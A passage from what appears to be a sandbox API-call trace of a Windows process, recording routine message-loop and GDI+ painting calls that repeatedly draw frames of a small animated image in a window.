lprc=0x15d7c0, hbr=0xffffffff8f100190) returned 1 [0139.527] DeleteObject (ho=0xffffffff8f100190) returned 1 [0139.527] RestoreDC (hdc=0x2d0106ea, nSavedDC=-1) returned 1 [0139.527] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.527] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d0106ea) returned 0x0 [0139.527] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcc80dbd) returned 0x0 [0139.528] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.528] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0139.528] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.528] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.528] GetSystemMetrics (nIndex=42) returned 0 [0139.528] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.528] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.528] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.528] CoTaskMemFree (pv=0x1e7ac120) [0139.528] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1c) returned 0x0 [0139.531] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.531] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.531] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.531] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.531] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2d0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.532] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.532] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2d0106ea) returned 0x0 [0139.532] SelectObject (hdc=0x2d0106ea, h=0x185000f) returned 0x1a05067e [0139.532] DeleteDC (hdc=0x2d0106ea) returned 1 [0139.532] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.532] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.532] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.532] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.532] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.532] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.532] WaitMessage () returned 1 [0139.686] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.686] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.686] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.687] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.687] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.687] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.687] GetCurrentThreadId () returned 0xec0 [0139.687] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.687] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.687] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.687] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.687] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.687] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.687] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.687] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.687] CreateCompatibleDC (hdc=0x3010b83) returned 0x2e0106ea [0139.688] SelectObject (hdc=0x2e0106ea, h=0x1a05067e) returned 0x185000f [0139.688] GdipCreateFromHDC (hdc=0x2e0106ea, graphics=0x15daf0) returned 0x0 [0139.688] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.688] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.688] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.688] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.688] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.688] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.688] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0139.689] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.689] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.689] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.689] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.689] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0139.689] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.689] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.689] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.690] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.690] GetSystemMetrics (nIndex=42) returned 0 [0139.690] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.690] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.690] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.690] CoTaskMemFree (pv=0x1e7ac120) [0139.690] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.690] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.690] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.690] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.690] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.690] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.690] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.691] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.691] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.691] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0139.691] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0139.691] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0139.692] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0139.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.692] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.692] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.692] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.692] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.692] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.692] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.692] GetCurrentObject (hdc=0x2e0106ea, type=0x1) returned 0x1b00017 [0139.693] GetCurrentObject (hdc=0x2e0106ea, type=0x2) returned 0x1900010 [0139.693] GetCurrentObject (hdc=0x2e0106ea, type=0x7) returned 0x1a05067e [0139.693] GetCurrentObject (hdc=0x2e0106ea, type=0x6) returned 0x18a002e [0139.693] SaveDC (hdc=0x2e0106ea) returned 1 [0139.693] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffb80407c3 [0139.693] GetClipRgn (hdc=0x2e0106ea, hrgn=0xffffffffb80407c3) returned 0 [0139.693] SelectClipRgn (hdc=0x2e0106ea, hrgn=0xffffffff88040b8a) returned 2 [0139.693] DeleteObject (ho=0xffffffffb80407c3) returned 1 [0139.693] DeleteObject (ho=0xffffffff88040b8a) returned 1 [0139.693] OffsetViewportOrgEx (in: hdc=0x2e0106ea, x=0, y=0, lppt=0x2810ce0 | out: lppt=0x2810ce0) returned 1 [0139.693] GetNearestColor (hdc=0x2e0106ea, color=0xffffff) returned 0xffffff [0139.693] CreateSolidBrush (color=0xffffff) returned 0xffffffff90100190 [0139.693] FillRect (hDC=0x2e0106ea, lprc=0x15d7c0, hbr=0xffffffff90100190) returned 1 [0139.694] DeleteObject (ho=0xffffffff90100190) returned 1 [0139.694] RestoreDC (hdc=0x2e0106ea, nSavedDC=-1) returned 1 [0139.694] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.694] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e0106ea) returned 0x0 [0139.694] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcc60dbd) returned 0x0 [0139.694] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.694] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0139.694] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.694] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.694] GetSystemMetrics (nIndex=42) returned 0 [0139.694] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0139.695] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0139.695] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0139.695] CoTaskMemFree (pv=0x1e7ac120) [0139.695] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.695] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.695] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.695] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.695] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2e0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.695] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.696] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2e0106ea) returned 0x0 [0139.696] SelectObject (hdc=0x2e0106ea, h=0x185000f) returned 0x1a05067e [0139.696] DeleteDC (hdc=0x2e0106ea) returned 1 [0139.696] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.696] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.696] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.696] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.696] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.696] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.696] WaitMessage () returned 1 [0139.829] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.829] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.829] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.829] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.829] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.829] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0139.829] GetCurrentThreadId () returned 0xec0 [0139.829] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0139.896] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0139.896] IsWindowUnicode (hWnd=0x2031e) returned 1 [0139.896] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0139.896] TranslateMessage (lpMsg=0x15e910) returned 0 [0139.896] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0139.896] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0139.897] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0139.897] CreateCompatibleDC (hdc=0x3010b83) returned 0x2f0106ea [0139.897] SelectObject (hdc=0x2f0106ea, h=0x1a05067e) returned 0x185000f [0139.897] GdipCreateFromHDC (hdc=0x2f0106ea, graphics=0x15daf0) returned 0x0 [0139.897] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0139.897] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0139.897] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0139.897] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0139.897] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0139.898] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0139.898] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0139.898] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0139.898] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.898] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0139.899] GdipCreateRegion (region=0x15dc20) returned 0x0 [0139.899] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0139.899] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0139.899] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0139.899] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.899] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.899] GetSystemMetrics (nIndex=42) returned 0 [0139.899] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0139.899] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0139.899] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0139.899] CoTaskMemFree (pv=0x1e91eca0) [0139.899] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0139.899] GdipCreateRegion (region=0x15d710) returned 0x0 [0139.900] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0139.900] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0139.900] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0139.900] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0139.900] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0139.900] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0139.900] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0139.900] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0139.901] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0139.901] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0139.901] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0139.901] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.901] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0139.901] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0139.901] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0139.901] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0139.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.902] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0139.902] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0139.902] GetCurrentObject (hdc=0x2f0106ea, type=0x1) returned 0x1b00017 [0139.902] GetCurrentObject (hdc=0x2f0106ea, type=0x2) returned 0x1900010 [0139.902] GetCurrentObject (hdc=0x2f0106ea, type=0x7) returned 0x1a05067e [0139.902] GetCurrentObject (hdc=0x2f0106ea, type=0x6) returned 0x18a002e [0139.902] SaveDC (hdc=0x2f0106ea) returned 1 [0139.902] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff89040b8a [0139.902] GetClipRgn (hdc=0x2f0106ea, hrgn=0xffffffff89040b8a) returned 0 [0139.902] SelectClipRgn (hdc=0x2f0106ea, hrgn=0xffffffffb90407c3) returned 2 [0139.903] DeleteObject (ho=0xffffffff89040b8a) returned 1 [0139.903] DeleteObject (ho=0xffffffffb90407c3) returned 1 [0139.903] OffsetViewportOrgEx (in: hdc=0x2f0106ea, x=0, y=0, lppt=0x26c4f70 | out: lppt=0x26c4f70) returned 1 [0139.903] GetNearestColor (hdc=0x2f0106ea, color=0xffffff) returned 0xffffff [0139.903] CreateSolidBrush (color=0xffffff) returned 0xffffffff91100190 [0139.903] FillRect (hDC=0x2f0106ea, lprc=0x15d7c0, hbr=0xffffffff91100190) returned 1 [0139.903] DeleteObject (ho=0xffffffff91100190) returned 1 [0139.903] RestoreDC (hdc=0x2f0106ea, nSavedDC=-1) returned 1 [0139.903] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.903] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f0106ea) returned 0x0 [0139.904] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcc40dbd) returned 0x0 [0139.904] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.904] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0139.904] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0139.904] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0139.904] GetSystemMetrics (nIndex=42) returned 0 [0139.904] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0139.905] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0139.905] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0139.905] CoTaskMemFree (pv=0x1e91eca0) [0139.905] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0139.906] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0139.906] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0139.906] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0139.907] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0139.907] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x2f0106ea, x1=0, y1=0, rop=0xcc0020) returned 1 [0139.907] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.907] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x2f0106ea) returned 0x0 [0139.907] SelectObject (hdc=0x2f0106ea, h=0x185000f) returned 0x1a05067e [0139.907] DeleteDC (hdc=0x2f0106ea) returned 1 [0139.907] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0139.907] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0139.907] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0139.907] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0139.907] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.907] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0139.908] WaitMessage () returned 1 [0140.045] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.045] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.045] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.045] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.045] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.046] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0140.046] GetCurrentThreadId () returned 0xec0 [0140.046] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0140.046] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0140.046] IsWindowUnicode (hWnd=0x2031e) returned 1 [0140.046] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0140.046] TranslateMessage (lpMsg=0x15e910) returned 0 [0140.046] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0140.046] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0140.047] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0140.047] CreateCompatibleDC (hdc=0x3010b83) returned 0x300106ea [0140.047] SelectObject (hdc=0x300106ea, h=0x1a05067e) returned 0x185000f [0140.047] GdipCreateFromHDC (hdc=0x300106ea, graphics=0x15daf0) returned 0x0 [0140.047] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0140.047] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0140.047] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0140.047] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0140.047] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0140.047] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.047] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0140.048] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.048] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.048] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0140.048] GdipCreateRegion (region=0x15dc20) returned 0x0 [0140.048] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0140.048] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0140.048] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0140.048] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0140.048] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0140.049] GetSystemMetrics (nIndex=42) returned 0 [0140.049] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0140.049] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0140.049] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0140.049] CoTaskMemFree (pv=0x1e91eca0) [0140.049] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0140.049] GdipCreateRegion (region=0x15d710) returned 0x0 [0140.049] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0140.049] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0140.049] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0140.049] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0140.049] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.049] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.049] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.050] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0140.050] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0140.050] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0140.050] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0140.050] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.050] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0140.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0140.050] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0140.051] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0140.051] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0140.051] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0140.051] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0140.051] GetCurrentObject (hdc=0x300106ea, type=0x1) returned 0x1b00017 [0140.051] GetCurrentObject (hdc=0x300106ea, type=0x2) returned 0x1900010 [0140.051] GetCurrentObject (hdc=0x300106ea, type=0x7) returned 0x1a05067e [0140.051] GetCurrentObject (hdc=0x300106ea, type=0x6) returned 0x18a002e [0140.051] SaveDC (hdc=0x300106ea) returned 1 [0140.051] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffba0407c3 